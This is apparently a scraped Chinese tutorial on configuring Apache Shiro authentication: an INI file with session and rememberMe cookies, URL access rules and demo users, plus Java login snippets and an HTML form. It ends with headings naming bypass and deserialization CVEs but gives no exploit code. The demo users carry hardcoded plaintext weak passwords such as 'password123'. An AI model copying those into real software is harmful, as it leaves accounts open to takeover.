1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 [main] iniRealm = org.apache.shiro.realm.text.IniRealmsecurityManager.realms = $iniRealm cacheManager = org.apache.shiro.cache.ehcache.EhCacheManagercacheManager.cacheManagerConfigFile = classpath:ehcache-shiro.xmlsecurityManager.cacheManager = $cacheManager sessionManager = org.apache.shiro.web.session.mgt.DefaultWebSessionManagersessionManager.sessionIdUrlRewritingEnabled = false sessionIdCookie = org.apache.shiro.web.servlet.SimpleCookiesessionIdCookie.name = JSESSIONIDsessionIdCookie.httpOnly = true sessionIdCookie.path = /sessionManager.sessionIdCookie = $sessionIdCookie securityManager.sessionManager = $sessionManager rememberMeCookie = org.apache.shiro.web.servlet.SimpleCookierememberMeCookie.name = rememberMerememberMeCookie.httpOnly = true rememberMeCookie.maxAge = 2592000 rememberMeManager = org.apache.shiro.web.mgt.CookieRememberMeManagerrememberMeManager.cookie = $rememberMeCookie securityManager.rememberMeManager = $rememberMeManager authc = org.apache.shiro.web.filter.authc.FormAuthenticationFilterauthc.loginUrl = /loginlogout.redirectUrl = /loginperms.unauthorizedUrl = /403 roles.unauthorizedUrl = /403 [urls] /assets/** = anon /login = anon /logout = logout /api/docs/** = authc, perms["doc:read"] /api/admin/**= authc, roles[admin] /** = authc [users] admin = password123, adminalice = alicePwd, user[roles] admin = *user = doc:read
Servlet 中使用 Subject ShiroFilter 已经把当前请求与 Subject 绑定好,任意位置 都可:
1 2 3 4 5 6 7 import org.apache.shiro.SecurityUtils;import org.apache.shiro.subject.Subject;Subject subject = SecurityUtils.getSubject();Object principal = subject.getPrincipal(); boolean isAdmin = subject.hasRole("admin" ); boolean canRead = subject.isPermitted("doc:read" );
例如下面这段代码是自定义登录(自己处理表单 POST):
1 2 3 4 5 6 7 8 9 10 11 12 13 import org.apache.shiro.authc.*;protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws IOException { String u = req.getParameter("username" ); String p = req.getParameter("password" ); Subject s = SecurityUtils.getSubject(); try { s.login(new UsernamePasswordToken (u, p)); resp.sendRedirect(req.getContextPath() + "/" ); } catch (AuthenticationException e) { resp.sendError(401 , "login failed" ); } }
除了在代码中自己实现登录逻辑,我们还可以把“登录这件事”完全交给 Shiro 自带的表单认证过滤器(FormAuthenticationFilter,简称 authc)来做 :
1 2 3 4 5 6 7 8 9 10 11 12 13 [main] authc = org.apache.shiro.web.filter.authc.FormAuthenticationFilterauthc.loginUrl = /login authc.successUrl = / authc.usernameParam = username authc.passwordParam = passwordauthc.rememberMeParam = rememberMe[urls] /assets/** = anon /logout = logout /login = authc /** = authc
对应前端提交的 form 表单应该是下面这个形式:
1 2 3 4 5 6 <form method ="post" action ="/login" > <input name ="username" > <input type ="password" name ="password" > <label > <input type ="checkbox" name ="rememberMe" > Remember me</label > <button > Login</button > </form >
集成到 Spring 项目 URL 访问绕过 CVE-2010-3863 CVE-2016-6802 反序列化